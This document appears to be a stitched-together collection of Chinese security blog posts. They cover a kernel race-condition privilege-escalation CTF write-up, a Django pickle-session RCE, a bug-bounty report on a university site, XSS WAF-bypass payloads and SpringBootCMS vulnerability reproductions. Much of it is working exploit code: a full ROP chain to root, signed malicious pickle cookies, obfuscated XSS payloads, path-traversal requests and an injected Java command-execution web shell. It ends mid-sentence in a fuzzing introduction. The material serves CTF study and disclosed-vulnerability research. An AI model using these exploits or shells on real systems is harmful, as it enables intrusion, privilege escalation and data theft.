通过条件竞争实现内核提权
条件竞争漏洞(Race Condition Vulnerability)是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于执行顺序不确定或没有适当的同步措施,导致竞争条件的发生并且条件竞争在内核中也经常出现。
LK01-4
这里以一道例题作为例子介绍条件竞争在内核中的利用。
open模块
题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-4/LK01-4
open模块相较于LK01-3增加了锁的判断,当执行过open模块之后,mutex会被设置为1,这样可以避免第二次执行open模块时,有两个文件描述符指向同一块内存。
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
if (mutex) {
printk(KERN_INFO "resource is busy");
return -EBUSY;
}
mutex = 1;
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
例如以下代码,连续执行两遍open模块时,第二次执行会返回-1。
#include <stdio.h>
#include <fcntl.h>
int main()
{
int fd1 = open("/dev/holstein",O_RDWR);
printf("fd1:%d\n",fd1);
int fd2 = open("/dev/holstein",O_RDWR);
printf("fd2:%d\n",fd2);
}
单线程下执行的流程如下。
但是上述情况会在多线程的情况下出现潜在的问题。由于线程1与线程2会切换执行,那么就有可能会出现以下情况,在线程1执行open模块时,在处于判断mutex = 1这个赋值操作之前,而在mutext == 1这个判断语句之后切换到线程2,那么线程2在执行mutext == 1时,线程1还没有完成赋值操作,因此线程2会认为是第一次执行open模块,从而获得指向g_buf的文件描述符,而在线程2切回到线程1时,由于此时线程1已经指向完判断语句了,因此也会成功获取指向g_buf的文件描述符,因此会构成存在两个指针指向同一块区域的情况,从而造成后续的UAF漏洞的利用。
POC
为了验证上述的可能性,我们需要创建两个线程并且两个线程需要不断的调用open模块。我们需要注意以下几点。
首先是POC使用了3与4作为新打开的文件描述符,这是因为0,1,2是标准流,因此新打开的文件应该是从3开始分配。但是避免不是从3开始分配,我们可以使用作者提供的exp,打开临时文件去判断下一个文件描述符是什么。
其次是在条件竞争利用失败的时候,我们需要关闭文件描述符,这是因为若不关闭,那么上述两个线程竞争的情况就不会发生了,因为已经通过open模块获取了文件描述符,那么mutext已经被设置为1,那么就不会存在mutext被设置为1之前的情况了。
然后在文件描述符为4的时候,说明已经通过条件竞争成功执行两次open模块,但是这里还需要去验证文件描述符是否有效,这是因为有可能出现线程1获取的文件描述符为3,而线程二获取的文件描述符为4,但是线程1先进入了if (fd != -1 && success == 0)的判断,那么就会把文件描述符3给关闭了,就导致即使正常执行了两次open模块,但是只有4能够使用。
最后就是验证3和4是否指向同一块内存了。
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
int success = 0;
void *thread_function(void *arg) {
while(1)
{
while (!success)
{
int fd = open("/dev/holstein",O_RDWR);
if (fd == 4)
success = 1;
if (fd != -1 && success == 0)
close(fd);
}
if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1)
{
close(3);
close(4);
success = 0;
}
else
break;
}
}
int main()
{
pthread_t thread_id1, thread_id2;
if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
pthread_join(thread_id1, NULL);
pthread_join(thread_id2, NULL);
char temp[0x20]= {};
write(3, "abcdefg", 7);
read(4, temp, 7);
if (strcmp(temp, "abcdefg"))
{
puts("fail\n");
exit(-1);
}
printf("sucess\n");
}
run.sh
这里可以看到-smp的选项为2,"-smp" 表示 "Symmetric MultiProcessing",即对称多处理。在虚拟化环境中,这个参数用于设置虚拟机使用的虚拟处理器核心数量。在这种情况下,"-smp 2" 表示将虚拟机配置为使用 2 个虚拟处理器核心,使其能够同时运行两个线程或进程。因此题目给的环境意在使用多线程竞争进行提权。
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 2 \
-monitor /dev/null \
-initrd initramfs.cpio.gz \
-net nic,model=virtio \
-net user \
-s
exp
因此提权的过程则是首先使用条件竞争的漏洞使得open模块执行两次,使得两个文件描述符指向同一个内存区域,接着关闭一个文件描述符使得UAF漏洞,并且分配大小属于tty结构体的范围内,因此通过堆喷使得tty结构体被控制,紧接着篡改ops指针为栈迁移的gadget地址,配合ioctl函数控制rdx寄存,将栈迁移到g_buf上,然后就是通过prepare_kernel_cred -> commit_creds -> swapgs_restore_regs_and_return_to_usermode的序列完成提权操作。
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
//0xffffffff81137da8: push rdx; add byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret;
//0xffffffff810d5ba9: push rcx; or al, 0; add byte ptr [rax + 0xf], cl; mov edi, 0x8d480243; pop rsp; re
//0xffffffff810b13c5: pop rdi; ret;
//ffffffff81072580 T prepare_kernel_cred
//ffffffff810723e0 T commit_creds
//0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
//0xffffffff81c6bfe0: pop rcx; ret;
//ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
//0xffffffff810012b0: pop rcx; pop rdx; pop rsi; pop rdi; pop rbp; ret;
#define push_rdx_pop_rsp 0x137da8
#define pop_rdi_ret 0xb13c5
#define prepare_kernel_cred 0x72580
#define commit_creds 0x723e0
#define pop_rcx_ret 0xc6bfe0
#define mov_rdi_rax 0x65094b
#define swapgs_restore 0x800e10
#define pop_rcx_5 0x12b0
unsigned long user_cs, user_sp, user_ss, user_rflags;
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n", user_rflags);
printf("[#] backdoor: 0x%lx \n\n", backdoor);
}
int success = 0;
void *thread_function(void *arg) {
while(1)
{
while (!success)
{
int fd = open("/dev/holstein",O_RDWR);
if (fd == 4)
success = 1;
if (fd != -1 && success == 0)
close(fd);
}
if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1)
{
close(3);
close(4);
success = 0;
}
else
break;
}
}
int main()
{
pthread_t thread_id1, thread_id2;
int spray[200];
save_user_land();
if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
pthread_join(thread_id1, NULL);
pthread_join(thread_id2, NULL);
char temp[0x20]= {};
write(3, "abcdefg", 7);
read(4, temp, 7);
printf("temp:%s\n", temp);
if (strcmp(temp, "abcdefg"))
{
puts("failure\n");
exit(-1);
}
if (!strcmp(temp,"abcdefg"))
{
printf("sucess\n");
close(4);
for (int i = 0; i < 50; i++)
{
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
{
printf("error!\n");
exit(-1);
}
}
char buf[0x400];
read(3, buf, 0x400);
unsigned long *p = (unsigned long *)&buf;
for (unsigned int i = 0; i < 0x80; i++)
printf("[%x]:addr:0x%lx\n",i,p[i]);
unsigned long kernel_address = p[3];
unsigned long heap_address = p[7];
if ((kernel_address >> 32) != 0xffffffff)
{
printf("leak error!\n");
exit(-1);
}
else
printf("leak sucess\n");
unsigned long kernel_base = kernel_address - 0xc3afe0;
unsigned long g_buf = heap_address - 0x38;
printf("kernel_base:0x%lx\ng_buf:0x%lx\n", kernel_base, g_buf);
//getchar();
*(unsigned long *)&buf[0x18] = g_buf;
p[0xc] = push_rdx_pop_rsp + kernel_base;
//for (unsigned long i = 0xd; i < 0x80; i++)
// p[i] = g_buf + i;
int index = 0x21;
p[index++] = pop_rdi_ret + kernel_base;
p[index++] = 0;
p[index++] = prepare_kernel_cred + kernel_base;
p[index++] = pop_rcx_5 + kernel_base;
p[index++] = 0;
p[index++] = 0;
p[index++] = 0;
p[index++] = 0;
p[index++] = 0;
p[index++] = mov_rdi_rax + kernel_base;
p[index++] = commit_creds + kernel_base;
p[index++] = swapgs_restore + kernel_base + 22;
p[index++] = 0;
p[index++] = 0;
p[index++] = (unsigned long)backdoor;
p[index++] = user_cs;
p[index++] = user_rflags;
p[index++] = user_sp;
p[index++] = user_ss;
write(3, buf, 0x400);
ioctl(4, 0, g_buf + 0x100);
}
return 0;
}
CPU Affinity(CPU 亲和性)
这里作者用了CPU Affinity提高了条件竞争的成功率,在如今多核的处理器下,我们可以将不同的线程绑定在不同的核上,使得线程进程不会进行来回切换的操作,提高执行效率。那么对应在这道题上,我们可以把线程1绑定在CPU 0上运行,线程2绑定在CPU 1上,那么使得线程1与线程2可以并行运行,那么触发漏洞的可能性会大大提升。
首先初始化CPU集合,然后将绑定到指定的核上,然后在线程内部通过sched_setaffinity 函数设置CPU 亲和性。
#define _GNU_SOURCE
#include <sched.h>
...
cpu_set_t t1_cpu, t2_cpu;
CPU_ZERO(&t1_cpu);
CPU_ZERO(&t2_cpu);
CPU_SET(0, &t1_cpu);
CPU_SET(1, &t2_cpu);
...
if (pthread_create(&thread_id1, NULL, thread_function, (void *)&t1_cpu) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
if (pthread_create(&thread_id2, NULL, thread_function, (void *)&t2_cpu) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
void *thread_function(void *arg) {
cpu_set_t *cpu_set = (cpu_set_t *)arg;
int result = sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);
...
}
由Django-Session配置引发的反序列化安全问题
漏洞成因
漏洞成因位于目标配置文件settings.py下
关于这两个配置项
SESSION_ENGINE:
在Django中,SESSION_ENGINE 是一个设置项,用于指定用于存储和处理会话(session)数据的引擎。
SESSION_ENGINE 设置项允许您选择不同的后端引擎来存储会话数据,例如:
数据库后端 (django.contrib.sessions.backends.db):会话数据存储在数据库表中。这是Django的默认会话引擎。
缓存后端 (django.contrib.sessions.backends.cache):会话数据存储在缓存中,例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。
文件系统后端 (django.contrib.sessions.backends.file):会话数据存储在服务器的文件系统中。这种方式适用于小型应用,不需要高级别的安全性和性能。
签名Cookie后端 (django.contrib.sessions.backends.signed_cookies):会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据,可以提供一定程度的安全性。
缓存数据库后端 (django.contrib.sessions.backends.cached_db):会话数据存储在缓存中,并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。
SESSION_SERIALIZER:
SESSION_SERIALIZER 是Django设置中的一个选项,用于指定Django如何对会话(session)数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制,例如用户登录状态、购物车内容、用户首选项等。
通过配置SESSION_SERIALIZER,您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式,包括以下常用的选项:
'django.contrib.sessions.serializers.JSONSerializer':使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式,具有良好的可读性和跨平台兼容性。
'django.contrib.sessions.serializers.PickleSerializer':使用Python标准库中的pickle模块来序列化和反序列化会话数据。
那么上述配置项的意思就是使用cookie来存储session的签名,然后使用pickle在c/s两端进行序列化和反序列化。
紧接着看看Django中的/core/signing模块:(Django==2.2.5)
主要看看函数参数即可
key:验签中的密钥
serializer:指定序列化和反序列化类
def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
"""
Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is
None, use settings.SECRET_KEY instead.
If compress is True (not the default), check if compressing using zlib can
save some space. Prepend a '.' to signify compression. This is included
in the signature, to protect against zip bombs.
Salt can be used to namespace the hash, so that a signed string is
only valid for a given namespace. Leaving this at the default
value or re-using a salt value across different parts of your
application without good cause is a security risk.
The serializer is expected to return a bytestring.
"""
data = serializer().dumps(obj) # 使用选定的类进行序列化
# Flag for if it's been compressed or not
is_compressed = False
# 数据压缩处理
if compress:
# Avoid zlib dependency unless compress is being used
compressed = zlib.compress(data)
if len(compressed) < (len(data) - 1):
data = compressed
is_compressed = True
base64d = b64_encode(data).decode() # base64编码 decode转化成字符串
if is_compressed:
base64d = '.' + base64d
return TimestampSigner(key, salt=salt).sign(base64d) # 返回一个签名值
# loads的过程为dumps的逆过程
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
"""
Reverse of dumps(), raise BadSignature if signature fails.
The serializer is expected to accept a bytestring.
"""
# TimestampSigner.unsign() returns str but base64 and zlib compression
# operate on bytes.
base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()
decompress = base64d[:1] == b'.'
if decompress:
# It's compressed; uncompress it first
base64d = base64d[1:]
data = b64_decode(base64d)
if decompress:
data = zlib.decompress(data)
return serializer().loads(data)
看看两个签名的类:
在Signer类中中:
class Signer:
def __init__(self, key=None, sep=':', salt=None):
# Use of native strings in all versions of Python
self.key = key or settings.SECRET_KEY # key默认为settings中的配置项
self.sep = sep
if _SEP_UNSAFE.match(self.sep):
raise ValueError(
'Unsafe Signer separator: %r (cannot be empty or consist of '
'only A-z0-9-_=)' % sep,
)
self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)
def signature(self, value):
# 利用salt、value、key做一次签名
return base64_hmac(self.salt + 'signer', value, self.key)
def sign(self, value):
return '%s%s%s' % (value, self.sep, self.signature(value))
def unsign(self, signed_value):
if self.sep not in signed_value:
raise BadSignature('No "%s" found in value' % self.sep)
value, sig = signed_value.rsplit(self.sep, 1)
if constant_time_compare(sig, self.signature(value)):
return value
raise BadSignature('Signature "%s" does not match' % sig)
还有一个是时间戳的验签部分
class TimestampSigner(Signer):
def timestamp(self):
return baseconv.base62.encode(int(time.time()))
def sign(self, value):
value = '%s%s%s' % (value, self.sep, self.timestamp())
return super().sign(value)
def unsign(self, value, max_age=None):
"""
Retrieve original value and check it wasn't signed more
than max_age seconds ago.
"""
result = super().unsign(value)
value, timestamp = result.rsplit(self.sep, 1)
timestamp = baseconv.base62.decode(timestamp)
if max_age is not None:
if isinstance(max_age, datetime.timedelta):
max_age = max_age.total_seconds()
# Check timestamp is not older than max_age
age = time.time() - timestamp
if age > max_age:
raise SignatureExpired(
'Signature age %s > %s seconds' % (age, max_age))
return value
时间戳主要是为了判断session是否过期,因为设置了一个max_age字段,做了差值进行比较
漏洞调试
我直接以ez_py的题目环境为漏洞调试环境(Django==2.2.5)
老惯例,先看栈帧
django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类,协助处理了HTTP请求
AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份
随后调用Django auth模块下的get_user函数和_get_user_session_key函数
随后进行session的字典读取。由于加载session的过程为懒加载过程(lazy load),所以在读取SESSION_KEY的时候会进行_get_session函数运行,从而触发session的反序列化
loads函数中的操作
首先先进行session是否过期的检验,随后base64解码和zlib数据解压缩,提取出python字节码
最后扔入pickle进行字节码解析
漏洞利用
首先利用条件如下:
以cookie方式存储session,实现了交互。
以Pickle为反序列化类,触发__reduce__函数的执行,实现RCE
EXP如下:
import os
import django.core.signing
import requests
# from Django.contrib.sessions.serializers.PickleSerializer
import pickle
class PickleSerializer:
"""
Simple wrapper around pickle to be used in signing.dumps and
signing.loads.
"""
protocol = pickle.HIGHEST_PROTOCOL
def dumps(self, obj):
return pickle.dumps(obj, self.protocol)
def loads(self, data):
return pickle.loads(data)
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"
class exp():
def __reduce__(self):
# 返回一个callable 及其参数的元组
return os.system, (('calc.exe'),)
_exp = exp()
cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(cookie_opcodes)
resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})
Code-Breaking-Django调试
这道题是P神文章中的题目,题目源码在这:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode
find_class沙盒逃逸
关于find_class:
简单来说,这是python pickle建议使用的安全策略,这个函数在pickle字节码调用c(即import)时会进行校验,校验函数由自己定义
import pickle
import io
import builtins
__all__ = ('PickleSerializer', )
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name): # python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist: # 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)
def loads(self, data):
try:
# 校验data是否为字符串
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data) # 读取data
return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
except Exception as e:
return {}
第一是要手撕python pickle opcode绕过find_class,这个过程使用到了getattr函数,这个函数有如下用法
class Person:
def __init__(self, name):
self.name = name
# 获取对象属性值
person = Person("Alice")
name = getattr(person, "name")
print(name)
# 调用对象方法
a = getattr(builtins, "eval")
a("print(1+1)")
# 可以设置default值
age = getattr(person, "age", 30)
print(age)
builtins.getattr(builtins, "eval")("print(1+1)")
那么同理,也可以通过getattr调用eval
加载上下文:由于后端在实现时,import了一些包
(这部分包的上下文可以使用globals()函数获得)
所以可以直接导入builtins中的getattr,最终通过获取globals()中的__builtins__来获取eval等
getattr = GLOBAL('builtins', 'getattr') # GLOBAL为导入
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
__builtins__ = dict_get(builtins, '__builtins__') # 获取真正的__builtins__
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("calc.exe")')
return
查看Django.core.signing模块,复刻sign写exp
from django.core import signing
import pickle
import io
import builtins
import zlib
import base64
PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'
SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"
salt = "django.contrib.sessions.backends.signed_cookies"
def b64_encode(s):
return base64.urlsafe_b64encode(s).strip(b"=")
base64d = b64_encode(PayloadToBeEncoded).decode()
def exp(key, payload):
global salt
# Flag for if it's been compressed or not.
is_compressed = False
compress = False
if compress:
# Avoid zlib dependency unless compress is being used.
compressed = zlib.compress(payload)
if len(compressed) < (len(payload) - 1):
payload = compressed
is_compressed = True
base64d = b64_encode(payload).decode()
if is_compressed:
base64d = "." + base64d
session = signing.TimestampSigner(key=key, salt=salt).sign(base64d)
print(session)
然后传session即可。
某985证书站挖掘记录
0x1.前言
本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。文中涉及漏洞均以提交至教育漏洞平台,现已修复。
0x2.背景
本人从9月10号开始挖掘教育网的漏洞,截至到10月10号已经上了一百多分,其中还挖掘到了多个证书站的漏洞。 然后经过有师傅提醒,说某某985证书快要上线了,我看了一下漏洞提交的还不算太多,这不赶紧抓住机会上分一波?从清楚目标到挖出漏洞不到一天(主打一个快速挖掘),于是就有了这篇文章。
0x3.信息搜集
渗透测试的第一要义是信息搜集,你能搜集到别人搜集不到的信息,你就能挖到别人挖不到的漏洞
这里推荐我使用的一个集成工具:oneforall,工具地址:https://github.com/shmilylty/OneForAll
然后收集到大量资产后,我会先初步使用httpx对一些路径进行快速批量探测:
httpx工具地址:https://github.com/projectdiscovery/httpx
httpx.exe -path /api/users -l target.txt -title -tech-detect -status-code -threads 50 -web-server -mc 200
这里将你搜集的资产的链接放在target.txt中
-path /api/users: 这是目标URL的路径,其中/api/users表示要测试的API端点的路径。
-title: 此选项指示工具在输出中包括目标网页的标题。
-tech-detect: 这个选项告诉工具进行技术检测,它将尝试识别目标URL上运行的Web服务器和后端技术。
-status-code: 此选项要求工具返回每个请求的HTTP响应状态代码。
-threads 50: 这个选项指定了并行执行的线程数,工具将使用50个线程同时测试目标URL。
-web-server: 此选项告诉工具输出目标URL上运行的Web服务器的信息。它可以显示服务器类型和版本等信息。
-mc 200: 这是一个过滤选项,它指定了匹配响应状态码的条件。在这里,-mc 200 表示只输出具有HTTP响应状态码为200的结果。
然后经过初步信息搜集后我锁定了某个可疑站点因为可疑直接注册,于是开始着手渗透。
0x4.渗透利用
漏洞点1--未授权访问
测了一下注册点逻辑,利用不了遂放弃进入后台。
然后我进入了个人后台,我发现了有数据申请的功能于是着手开测:
遇到上传点,我们测一测!
嗯?没有过滤吗?直接传上shell了?但是Burp抓包查看返回也没有留下上传路径遂作罢。
然后我点击了下载模板按钮抓包如下:
https://xxx.edu.cn/xxx/xxx/download/161
我的直觉告诉我这个链接非常可疑!
我这里直接改成其他数字,啪!直接把别人上传的隐私文件下载下来了!
通过burp快速探测我发现数字为 157 ---293都可以下载文件,也就是说泄露了快150个敏感文件。如果不修复这个漏洞的话,后面不管谁上传的文件都可能被任意下载。
还有多个学生证照片/教工证照片/内部信息文件等敏感信息。好嘞初步rank到手!
这里就可以解释一下我上传shell了但是却连接不上:
访问对应的链接发现:
Content-Disposition 是 HTTP 头字段之一,它通常用于指定如何处理由服务器返回的响应内容。
这里这个头的意思是告诉客户端浏览器,响应的内容应被视为附件(文件下载),而不是在浏览器中直接显示。我尝试绕过也没有成功,也就是说文件直接没有解析了所以getshell方面我就作罢了。
为了确保能上中危,我决定再继续测一点功能。
漏洞点2--水平越权
注册两个账户
截取POST包:
回显成功:
通过这样可以让任意申请进行提前提交。
0x5.总结
总的来说信息搜集非常重要,同时细心也非常重要。不要因为某个点没测成功就放弃了,可以多去尝试尝试其他的地方。而且想要快速出成果的话最好去找那种可以任意注册的站~
【BugBounty】记一次XSS绕过
前言
最近一直在看国外的赏金平台,绕waf是真的难受, 记录一下绕过的场景。
初步测试
一开始尝试XSS,发现用户的输入在title中展示,那么一般来说就是看能否闭合,我们从下面图中可以看到,输入尖括号后被转成了实体。
绕过html实体编码
解释一下什么是html实体编码
HTML实体编码,也即HTML中的转义字符。
在 HTML 中,某些字符是预留的,例如在 HTML 中不能使用小于号<和大于号>,这是因为浏览器会误认为它们是标签。 如果希望正确地显示预留字符,我们必须在HTML源代码中使用字符实体(character entities)。 HTML 中的常用字符实体是不间断空格。(注意:实体名称对大小写敏感!) 字符实体类似这样:&entity_name; 或者 &#entity_number;如需显示小于号,我们必须这样写:< 或 < 常见的实体编码:
关于更多的实体可在下面网站查看寻找:
https://symbl.cc/cn/unicode/blocks/basic-latin/#subblock-0061继续尝试是发现我们讲html10进制实体编号输入转义会闭合title标签
原本以为事情逐渐简单了起来,结果更大的一个坑在等着我。
WAF层面
原本想着<img/src=1 onerror=alert(1) />直接秒杀 结果来了个waf 。
下一步按照往常一样 fuzz事件,结果全是403,这时候那没办法了那就不能用img标签了
改换其他标签,fuzz以下 发现可用的还不少。
然后使用a标签进行绕过
常用的payload,基于下面payload改就行了
<a href="javascript:alert(1)"/>
原本是一番风顺的 到后面发先还有过滤,真吐了,看图就好
绕过javascript,到这里了可能一部分人觉得已经结束了,但实际上没那么简单
前面其实花的时间并不多主要绕alert的时候。此处我尝试的多种方式包括html实体绕过,基本都不行,
然后就在此处卡了很久,我也想过不使用alert使用prompt这些函数但就是不行,后面发现后面就是不能跟括号和反引号
这时候就在想,还有不能用括号进行弹窗的函数?给我整懵逼了,找了一大圈一个都没找到都需要用括号,alert后不需要括号和反引号的也过不了。
最后在推特上看到了这个最终完成绕过
https://aem1k.com/aurebesh.js/#java本地测试payload
<a/href="javascript;{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click<a href=ja
vascript:k='',a=!k+k,f=!a+k,g=k+{},kk=a[k++],ka=a[kf=k],kg=++kf+k,ak=g[kf+kg],a[ak+=g[k]+(a.f+g)[k]+f[kg]+kk+ka+a[kf]+ak+kk+g[k]+ka][ak](f[k]+f[kf]+a[kg]+ka+kk+"(k)"
最终效果
SpringBootCMS漏洞复现分析
SpringBootCMS,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码,让您轻松打造自己的独立网站,同时也方便二次开发,让您快速搭建个性化独立网站,为您节约更多时间。
http://www.jrecms.com环境搭建
修改 src/main/resources/application.properties 中对应的数据库地址,在本地创建数据库并导入根目录下的 sql 文件
运行 src/main/java/com/cms/App.java
漏洞复现分析
未授权任意文件下载
GET /common/file/download?fileKey=../../resources/application.properties HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: http://localhost:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
com.cms.controller.common.FileController#download
通过传过来的参数 fileKey 未经过任何过滤就拼接到读取文件的路径中,最后读取该文件并下载返回
越权修改管理员密码
系统中存在演示账号,演示账号的用户名和密码为 read/123456,演示用户在前端并不能操作相关功能,但是可以通过直接构造数据包,触发相对应的功能
POST /admin/admin/reset HTTP/1.1
Host: localhost:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8888/admin/role
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=7CD6B69DCC495750492D0D89B4713A52
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
id=1
成功修改了管理员 admin 的密码,修改为 123456
com.cms.controller.admin.AdminController#reset
com.cms.filter.PermissionFilter#doFilter
根本原因是没有将 reset 操作添加在过滤中,导致演示账号也可以执行重置密码的操作。
其他的操作就会有相关的提示
授权任意文件读取
构造链接
http://localhost:8888/admin/template/edit?directory=default/../../../resources/&fileName=application.properties
com.cms.controller.admin.TemplateController#edit
对传入的参数 directory 和 fileName 未进行任何处理就拼接到 filepath 中 读取并显示
授权任意文件修改可 getshell
查找其中不需要授权就可以访问到的路由对应的文件
http://localhost:8888/admin/template/edit?fileName=../../../../src/main/java/com/cms/controller/common/FileController.java
添加恶意代码,增加命令执行的路由文件
@RequestMapping("/exec")
public void exec(String command,HttpServletRequest request, HttpServletResponse response) throws Exception{
// 执行命令并获取输出结果
ProcessBuilder processBuilder = new ProcessBuilder();
processBuilder.command("cmd", "/c", command);
Process process = processBuilder.start();
// 读取命令输出的结果
String output = "";
BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = inputReader.readLine()) != null) {
output +=line;
}
response.setHeader("Content",output);
}
重启项目后,发送路由信息
com.cms.controller.admin.TemplateController#update
漏洞存在的原因是因为在更新代码的时候,没有对代码内容进行校验,可任意修改代码,写入恶意代码就会触发命令执行
授权任意文件删除
构造数据包
GET /admin/database/delete?name=../../../../../test.txt HTTP/1.1
Host: localhost:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=410D94FAA33FE9021AD6B0C3E842F9F9
Connection: close
com.cms.controller.admin.DatabaseController#delete
com.cms.utils.BackupUtils#delete
Fuzz测试:发现软件隐患和漏洞的秘密武器
0x01 什么是模糊测试
模糊测试(Fuzz Testing)是一种广泛用于软件安全和质量测试的自动化测试方法。它的基本思想是向输入参数或数据中注入随机、不规则或异常的数据,以检测目标程序或系统在处理不合法、不正常或边缘情况下的行为。模糊测试通常用于寻找软件漏洞、安全漏洞和崩溃点,以改进软件的稳定性和安全性。
0x02 基本原理和组成
1.基本原理
基本思想
